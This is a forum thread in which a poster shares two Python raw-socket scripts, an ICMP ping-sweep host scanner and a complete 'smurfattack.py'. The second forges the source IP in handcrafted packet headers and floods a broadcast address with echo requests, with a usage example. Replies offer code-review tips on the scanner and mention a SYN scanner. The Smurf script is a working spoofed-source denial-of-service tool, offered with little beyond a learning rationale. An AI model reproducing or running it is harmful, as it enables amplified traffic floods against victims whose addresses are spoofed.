Author Topic: [Python] ICMP Scan / Smurf attack  (Read 7741 times)

0 Members and 1 Guest are viewing this topic.

Offline RedBullAddicted

  • Moderator
  • Sir
  • *
  • Posts: 519
  • Cookies: 189
    • View Profile
[Python] ICMP Scan / Smurf attack
« on: January 15, 2013, 04:26:46 pm »
Hi,

recently I decided to start a new project in python using only standard libraries. for now I am not really sure what the project is going to be but for sure (think you already knew) its going to be something network related. First thing I wanted to learn was how to use pythons sockets, especially the raw sockets, to send raw packets. For learning purposes I created the following script which sends icmp echo requests to a specified range of hosts and waits for an icmp echo reply. It can be used to find "alive" (online) hosts on a network. I know the function for calculating the number of hosts and the function to create a list of hosts could have been done better. But as I wanted to learn the usage of raw sockets I didn't care to much.

icmpscan.py
Code: (python) [Select]
import sys, socket, select

#function to create raw ICMP echo request packet
def CreateICMPRequest():
    packet  = b''
    packet += b'\x08'                        #ICMP Type:8 (icmp echo request)
    packet += b'\x00'                        #Code 0 (no code)
    packet += b'\xbd\xcb'                    #Checksum
    packet += b'\x16\x4f'                    #Identifier (big endian representation)
    packet += b'\x00\x01'                    #Sequence number (big endian representation)
    packet += b'\x92\xde\xe2\x50\x00\x00\x00\x00\xe1\xe1\x0e\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37'                #Data (56 bytes)
    return packet
   
#function to return number of hosts in a given subnet
def NumberOfHosts(subnet):
    if "." in subnet:   
        subnetlist = subnet.split(".")
        for subnetpart in subnetlist:
            subnetlist[subnetlist.index(subnetpart)] = bin(int(subnetpart)).replace("0b","")
        cidr = str(subnetlist).count("1")
        if (int(cidr) == 32) or (int(cidr) == 31):   
            hostsCount = 2**(32-int(cidr))
        else:
            hostsCount = 2**(32-int(cidr))-2
    else:
        if (int(subnet) == 32) or (int(subnet) == 31):
            hostsCount = 2**(32-int(subnet))
        else:
            hostsCount = 2**(32-int(subnet))-2
    return hostsCount

#function to generate a list with all hosts in the given subnet
def ListHosts(ip, hostsCount):
    counter = 1
    hosts = []
    octs = ip.split('.')
    if hostsCount == 1:
        hosts.append('%i.%i.%i.%i' % (int(octs[0]),int(octs[1]),int(octs[2]),int(octs[3])))
    elif hostsCount == 2:
        hosts.append('%i.%i.%i.%i' % (int(octs[0]),int(octs[1]),int(octs[2]),int(octs[3])))
        hosts.append('%i.%i.%i.%i' % (int(octs[0]),int(octs[1]),int(octs[2]),int(octs[3])+1))
    else:
        while (counter <= hostsCount):                   
            if int(octs[3]) != 256:
                octs[3] = int(octs[3])+1
            if (int(octs[3]) == 256) and (int(octs[2]) != 255):
                octs[2] = int(octs[2])+1
                octs[3], hostpart = 0, 0
            if (int(octs[2]) == 255) and (int(octs[1]) != 255):
                octs[1] = int(octs[1])+1
                octs[2], octs[3], hostpart = 0, 0, 0
            if (int(octs[1]) == 255) and (int(octs[0]) != 255):
                octs[0] = int(octs[0])+1
                octs[1], octs[2], octs[3], hostpart  = 0, 0, 0, 0
            hosts.append('%i.%i.%i.%i' % (int(octs[0]),int(octs[1]),int(octs[2]),int(octs[3])))
            counter = int(counter)+1
    return hosts

#start sending icmp echo requests and list received icmp echo responds   
def pingscan(values):
    hostsCount = None
    if ("-t" in values):
        timeout = float(values[values.index('-t')+1])/float(1000)
        values.pop(values.index('-t')+1)           
        values.pop(values.index('-t'))
    else:
        timeout = 0.01

    if (len(values) == 3) and ("." in values[2]):
        hostsCount = NumberOfHosts(values[2])
    elif (len(values) == 2) and ("/" in values[1]):
        CIDR = values[1][-3]+values[1][-2]+values[1][-1]
        values = [values[1].replace(CIDR,""), CIDR.replace("/","")]           
        hostsCount = NumberOfHosts(values[1])
    else:
        help_pingscan()
        sys.exit(0)
               
    if hostsCount is not None:       
        print "Checking if %d hosts are alive via icmp with a timeout of %f sec" % (hostsCount, timeout)
           
        #create list with all hosts in the given subnet
        hosts = ListHosts(values[1], hostsCount)

        #create socket to send and receive icmp packets
        for host in hosts:           
            try:       
                icmpsocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
                icmpsocket.bind(('', 1))
                icmpsocket.setblocking(0)
            except socket.error:
                print "You need to be root!"
                sys.exit(0)

            #send icmp echo request to all hosts in the hosts list
            icmpsocket.connect((host, 1))
            icmpsocket.send(CreateICMPRequest())
           
            #receive icmp echo reply packets
            ready = select.select([icmpsocket], [], [], timeout)               
            if ready[0]:               
                try :
                    data = icmpsocket.recv(1024)
                    header = data[:20]
                    ip = header[-8:-4]
                    source = '%i.%i.%i.%i' % (ord(ip[0]), ord(ip[1]), ord(ip[2]), ord(ip[3]))
                       print '%s seems to be alive' % source
                except KeyboardInterrupt :
                    print 'Keyboard Interrupt'
                    icmpsocket.close()
            icmpsocket.close()
           
#icmp scan usage information           
def help_pingscan():
    print "Usage: icmpscan IP subnet (e.g. 10.10.10.0 255.255.255.0) or IP/CIDR (e.g. 10.10.10.0/24)"
    print "-t: \t set timeout for receiving socket (default is 10ms)"
   
if __name__=="__main__":
    values = sys.argv
    pingscan(values)

Would be interesting to hear some thoughts from all you pro-python-devs :)

as this was pretty simple and done in no time I wanted to create something else using the raw ICMP packet. The next script performs a smurf attack. Funny name.. want to know what it is? http://en.wikipedia.org/wiki/Smurf_attack

smurfattack.py
Code: (python) [Select]
import sys, socket

def IPHeader(source, destination, proto):
    packet  = b''   
    packet += b'\x45'                        #Version (IPv4) + Internet Protocol header length
    packet += b'\x00'                        #no quality of service
    packet += b'\x00\x54'                       #Total frame length
    packet += b'\x23\x2c'                    #Id of this packet
    packet += b'\x40'                        #Flags (Don't Fragment)
    packet += b'\x00'                        #Fragment offset: 0
    packet += b'\x40'                        #Time to live: 64
    packet += proto                            #Protocol: ICMP (1)
    packet += b'\x0a\x0a'                    #Checksum (python does the work for us)
    packet += socket.inet_aton(source)          #Set source IP to the supplied one
    packet += socket.inet_aton(destination)    #Set destination IP to the supplied one
    return packet
   
def CreateICMPRequest():
    packet  = b''
    packet += b'\x08'                        #ICMP Type:8 (icmp echo request)
    packet += b'\x00'                        #Code 0 (no code)
    packet += b'\xbd\xcb'                    #Checksum
    packet += b'\x16\x4f'                    #Identifier (big endian representation)
    packet += b'\x00\x01'                    #Sequence number (big endian representation)
    packet += b'\x92\xde\xe2\x50\x00\x00\x00\x00\xe1\xe1\x0e\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37'                #Data (56 bytes)
    return packet

def smurfattack(values):
    try:       
        icmpsocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
        icmpsocket.bind(('', 1))
        icmpsocket.setblocking(0)
        icmpsocket.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
        icmpsocket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
    except socket.error:
        print "You need to be root!"
        sys.exit(0)

    #send icmp echo request to supplied destination address with spoofed source address
    try:       
        icmpsocket.connect((values[2], 1))
        counter = 1
        print "sending %d icmp echo requests to %s with %s as source" % (int(values[3]), values[2], values[1])
        try:           
            while (counter <= int(values[3])):
                icmpsocket.send(str(IPHeader(values[1], values[2], proto = b'\x01')) + str(CreateICMPRequest()))
                counter = int(counter)+1
        except KeyboardInterrupt :
                print 'Keyboard Interrupt'
                icmpsocket.close()           
        icmpsocket.close
    except IndexError:
        help_smurfattack()
        sys.exit(0)

def help_smurfattack():
    print "Usage: smurfattack <source IP> <broadcast address> <number of requests> (e.g. 10.10.10.5 10.10.10.255 100)"
       
if __name__=="__main__":
    values = sys.argv
    smurfattack(values)

Hope this shows how to use raw sockets in python and I would be very happy if someone can give me some hints on what can be done better.

Btw. Windows and linux need administrator/root permissions for creating the raw icmp socket.

Thanks in advance!
Cheers,
RBA
« Last Edit: January 15, 2013, 04:45:48 pm by RedBullAddicted »
Deep into that darkness peering, long I stood there, wondering, fearing, doubting, dreaming dreams no mortal ever dared to dream before. - Edgar Allan Poe

Offline proxx

  • Avatarception
  • Global Moderator
  • Titan
  • *
  • Posts: 2803
  • Cookies: 256
  • ФФФ
    • View Profile
Re: [Python] ICMP Scan / Smurf attack
« Reply #1 on: January 15, 2013, 10:31:18 pm »
Yep this is interesting stuff, I like working with raw sockets too.
With python this is awfully easy.
I agree with you on keeping the dependecies as few as possible, man those can be a pain when running someone elses code.
No too long ago I wrote a SYN scanner, some trashy code, might clean it up and post it here.
« Last Edit: January 15, 2013, 10:32:07 pm by proxx »
Wtf where you thinking with that signature? - Phage.
This was another little experiment *evillaughter - Proxx.
Evilception... - Phage

Offline techb

  • Soy Sauce Feeler
  • Global Moderator
  • King
  • *
  • Posts: 2350
  • Cookies: 345
  • Aliens do in fact wear hats.
    • View Profile
    • github
Re: [Python] ICMP Scan / Smurf attack
« Reply #2 on: January 15, 2013, 11:40:06 pm »
The surfattack.py looks good, since most all of it is procedural so nothing really to improve.

The icmpscan is where I am going to give input on. First, there is too many if/elis/else in there. They can be avoided if you constrain the user input. You can check the switches/flags users input with sys.argv

I am speaking mostly with how they give the ip and subnet. Make them separate regardless of cider or full mask. That would reduce the checking of what they put in with a few lines of code.

I did look over the code, and I could re-write it in my own image, but I only did one piece of it to show how I would have done it.

Code: (python) [Select]
def NumberOfHosts(subnet):
    if '.' in subnet:
        lsub = subnet.split('.')
        hostCount = 0
        for octet in lsub:
            if octet != '255':
                #since we only care how many 0's are in the subnet
                # we can use the built-in count()
                hostCount += list(bin(int(octet))[2:]).count('0')
        return 2**hostCount

    #the rest looked fine


x = NumberOfHosts('255.255.255.224')
print x

If sys.argv was used to begin with, the function would take the second element anyway so further checks of validity would not be needed.

Hope I helped. Great work btw, keep it up.  ;D
« Last Edit: January 15, 2013, 11:42:04 pm by techb »
>>>import this
-----------------------------

Offline RedBullAddicted

  • Moderator
  • Sir
  • *
  • Posts: 519
  • Cookies: 189
    • View Profile
Re: [Python] ICMP Scan / Smurf attack
« Reply #3 on: January 16, 2013, 11:03:19 am »
Hi,

@techb: that's exactly the kind of information I hoped to receive :) Many thanks for that. I am not sure if I understand everything but I will try to re-do the icmp scan with your suggestions and update the post the next days. Again, thanks for the information.

@proxx: I did a tcp syn scanner and a tcp connect scanner, too. The code is pretty messy at the moment (more out-commented lines as everything else). Would love to see how you did it. Did you use a raw socket or a tcp socket for that task. For the TCP connect scanner I used the tcp socket because (tbh) I had/have problems with all that calculation parts (e.g. sequence numbers, checksum ..)

Cheers,
RBA
Deep into that darkness peering, long I stood there, wondering, fearing, doubting, dreaming dreams no mortal ever dared to dream before. - Edgar Allan Poe

Offline Stackprotector

  • Administrator
  • Titan
  • *
  • Posts: 2515
  • Cookies: 205
    • View Profile
Re: [Python] ICMP Scan / Smurf attack
« Reply #4 on: January 17, 2013, 12:39:20 am »
Nice dude :)
~Factionwars